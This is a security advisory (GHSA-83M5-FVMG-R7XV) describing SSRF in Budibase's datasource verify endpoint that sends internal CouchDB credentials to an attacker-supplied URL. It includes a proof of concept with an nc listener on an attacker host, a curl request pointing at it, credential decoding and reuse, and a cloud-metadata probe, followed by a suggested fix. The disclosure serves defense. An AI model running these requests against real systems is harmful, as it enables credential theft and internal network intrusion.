GHSA-83M5-FVMG-R7XV
SSRF with Internal CouchDB Credential Leakage via Datasource Verify Endpoint
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-83M5-FVMG-R7XV divulgada · CVSS 7.6 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The datasource verify endpoint (`POST /api/datasources/verify`) allows a builder-level user to supply an arbitrary URL as a CouchDB datasource configuration. The CouchDB connector makes HTTP requests to this URL without any SSRF blacklist validation, and critically, attaches the internal CouchDB database credentials (from `COUCH_DB_USERNAME`/`COUCH_DB_PASSWORD` environment variables) as a `Basic` Authorization header to the attacker-controlled URL.
Details
The vulnerability exists because:
- The REST connector checks `blacklist.isBlacklisted(url)` at `packages/server/src/integrations/rest.ts:754` before making outbound requests, but no other HTTP-based connector performs this check.
- When a user submits a CouchDB datasource config with an arbitrary `url`, the code path is:
- `packages/server/src/api/controllers/datasource.ts:57` reads `ctx.request.body.datasource`
- `packages/server/src/sdk/workspace/datasources/plus.ts:85` passes `datasource.config` to the CouchDB connector constructor
- `packages/server/src/integrations/couchdb.ts:81` calls `DatabaseWithConnection(config.database, config.url)` with the attacker-supplied URL
- `DatabaseWithConnection` calls `getCouchInfo(connection)` at `packages/backend-core/src/db/couch/DatabaseImpl.ts:108`, which in `packages/backend-core/src/db/couch/connections.ts:3-46`:
- Parses the attacker URL (no inline credentials found)
- Falls back to `env.COUCH_DB_USERNAME` and `env.COUCH_DB_PASSWORD` (lines 11-22)
- Constructs `Basic ${Buffer.from(username:password).toString("base64")}` (line 26)
- `buildNano()` at `packages/backend-core/src/db/couch/DatabaseImpl.ts:32-41` creates a Nano client configured with:
- `testConnection()` at `packages/server/src/integrations/couchdb.ts:84-95` calls `allDocs({limit: 1})`, which makes an HTTP GET to `{attacker_url}/{database}/_all_docs?limit=1` with the internal CouchDB credentials in the Authorization header.
The same SSRF (without credential leakage) applies to the Elasticsearch connector at `packages/server/src/integrations/elasticsearch.ts:106-133`, which passes `config.url` directly as the `node` parameter to the Elasticsearch client.
The `/api/datasources/info`, `/api/datasources/views`, and `/api/datasources/relationships` endpoints on the `builderRoutes` group are also affected as they follow the same `getConnector()` path.
PoC
Step 1: Set up a listener to capture leaked credentials
# On attacker-controlled server
nc -lvp 8888Step 2: Send verify request with attacker-controlled URL
curl -X POST http://localhost:10000/api/datasources/verify \
-H 'Content-Type: application/json' \
-H 'Cookie: budibase:auth=<builder_jwt>' \
-d '{
"datasource": {
"source": "COUCHDB",
"config": {
"url": "http://attacker-server:8888",
"database": "test"
}
}
}'Step 3: Observe leaked credentials on the attacker server
GET /test/_all_docs?limit=1 HTTP/1.1
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Host: attacker-server:8888The Base64 value decodes to the internal CouchDB `username:password`.
Step 4: Use leaked credentials to access internal CouchDB
# Decode credentials
echo 'YWRtaW46cGFzc3dvcmQ=' | base64 -d
# Output: admin:password
# Access internal CouchDB with stolen credentials
curl http://admin:password@<internal-couchdb-host>:4005/_all_dbsFor SSRF scanning (Elasticsearch variant, no credential leak):
curl -X POST http://localhost:10000/api/datasources/verify \
-H 'Content-Type: application/json' \
-H 'Cookie: budibase:auth=<builder_jwt>' \
-d '{
"datasource": {
"source": "ELASTICSEARCH",
"config": {
"url": "http://169.254.169.254/latest/meta-data/"
}
}
}'The response's `error` field leaks information about internal service availability and responses.
Impact
- Credential leakage: Internal CouchDB credentials (`COUCH_DB_USERNAME`/`COUCH_DB_PASSWORD`) are sent to attacker-controlled URLs. In cloud deployments, CouchDB holds all application data, user data, and metadata — leaked credentials give an attacker full database access.
- SSRF: A builder-level user can probe internal network services, cloud metadata endpoints (169.254.169.254), and other internal infrastructure. Error messages in the response reveal service existence and state.
- Scope change: The vulnerability in the Budibase server component leaks credentials for a separate component (CouchDB), crossing a security boundary. This is why `S:C` applies in the CVSS vector.
- Multiple affected endpoints: The verify, info, views, and relationships endpoints all use `getConnector()` without URL validation.
Recommended Fix
Apply the same blacklist check used by the REST connector to all HTTP-based connectors. The fix should be applied centrally in `getConnector()`:
// packages/server/src/sdk/workspace/datasources/plus.ts
import { blacklist } from "@budibase/backend-core"
const HTTP_URL_SOURCES = new Set([
SourceName.COUCHDB,
SourceName.ELASTICSEARCH,
SourceName.ARANGODB,
])
export async function getConnector(
datasource: Datasource
): Promise<IntegrationBase | DatasourcePlus> {
// Validate URLs for HTTP-based connectors before connecting
if (HTTP_URL_SOURCES.has(datasource.source) && datasource.config?.url) {
if (await blacklist.isBlacklisted(datasource.config.url)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
}
const Connector = await getIntegration(datasource.source)
if (datasource._id) {
datasource = await datasources.enrich(datasource)
}
return new Connector(datasource.config)
}Additionally, the CouchDB connector should not fall back to internal CouchDB credentials when connecting to external user-supplied URLs. The `getCouchInfo()` function should be modified to skip environment variable credential fallback when a `connection` string is provided:
// packages/backend-core/src/db/couch/connections.ts
export const getCouchInfo = (connection?: string | null) => {
const urlInfo = getUrlInfo(connection)
let username
let password
if (urlInfo.auth?.username) {
username = urlInfo.auth.username
} else if (!connection && env.COUCH_DB_USERNAME) {
// Only use env credentials for internal connections, not user-supplied URLs
username = env.COUCH_DB_USERNAME
} else if (!env.isTest() && !connection) {
throw new Error("CouchDB username not set")
}
// Same pattern for password...
}Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@budibase/server |
Sin parche | — | — | 3.38.1 afectada |
3.41.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Budibase/budibase/security/advisories/GHSA-83m5-fvmg-r7xvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
